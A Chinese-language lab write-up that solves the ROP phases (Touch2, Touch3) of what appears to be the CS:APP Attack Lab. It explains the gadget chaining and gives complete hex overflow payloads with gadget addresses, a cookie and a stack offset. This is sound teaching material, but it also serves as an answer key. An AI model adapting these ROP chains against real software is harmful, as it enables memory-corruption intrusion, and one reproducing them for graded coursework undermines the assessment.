**ROP**

需要重新实现前两个任务，不过因为加了栈保护，且无法执行栈中的代码，因此需要借助原有的代码实现。从farm.c的汇编代码中找到有用的代码+ret结构，连续填充到溢出区中接连执行，最终实现参数填充。

**一、Touch2**

任务二要求将cookie填入rdi再执行touch2，从farm中找到了pop rax和mov rax, rdi两条指令，地址分别为0x004019ab、0x004019c5，touch2的地址为0x004017ec，则构造的输入如下所示(需要注意的是所有的指令前后应该有00隔开)：

**00 00 00 00 00 00 00 00**

**00 00 00 00 00 00 00 00**

**00 00 00 00 00 00 00 00**

**00 00 00 00 00 00 00 00**

**00 00 00 00 00 00 00 00**

**ab 19 40 00 00 00 00 00 #pop %rax**

**fa 97 b9 59 00 00 00 00 #cookie**

**c5 19 40 00 00 00 00 00 #mov %rax,%rdi**

**ec 17 40 00 00 00 00 00 #touch2()**

**二、Touch3**

touch3与touch2同理，但不同的是写在缓冲区的是字符串，需要传给rdi的是字符串的起始位置，这个起始位置只能通过栈中相对rsp的偏移来确定。add\_xy中可以找到关键指令lea (%rdi, %rsi, 1), %rax，可以借助该函数实现对偏移量的相加。逻辑顺序为先将偏移量经过多个命令存到rsi中，之后将rsp存到rdi中(从此时开始计算rsp与字符串的偏移)，之后计算rdi和rsi的和存到rax中，再将rax的结果存入rdi，最后调用touch3。如下所示:

**00 00 00 00 00 00 00 00**

**00 00 00 00 00 00 00 00**

**00 00 00 00 00 00 00 00**

**00 00 00 00 00 00 00 00**

**00 00 00 00 00 00 00 00**

**ab 19 40 00 00 00 00 00 //pop %rax—偏移量到%rax**

**20 00 00 00 00 00 00 00 //偏移量**

**42 1a 40 00 00 00 00 00 //mov %eax, %edx—偏移量到edx**

**69 1a 40 00 00 00 00 00 //mov %edx, %ecx—偏移量到exc**

**27 1a 40 00 00 00 00 00 //mov %ecx, %esi—偏移量到esi(即rsi)**

**06 1a 40 00 00 00 00 00 //mov %rsp, %rax—基址到rax**

**c5 19 40 00 00 00 00 00 //mov %rax, %rdi—基址到rdi**

**d6 19 40 00 00 00 00 00 //lea (%rdi, %rsi, 1), %rax—字符串到rax**

**c5 19 40 00 00 00 00 00 //mov %rax, %rdi—字符串到rdi**

**fa 18 40 00 00 00 00 00 //touch3()**

**35 39 62 39 39 37 66 61 //字符串**

**00 00 00 00 00 00 00 00 //字符串结尾**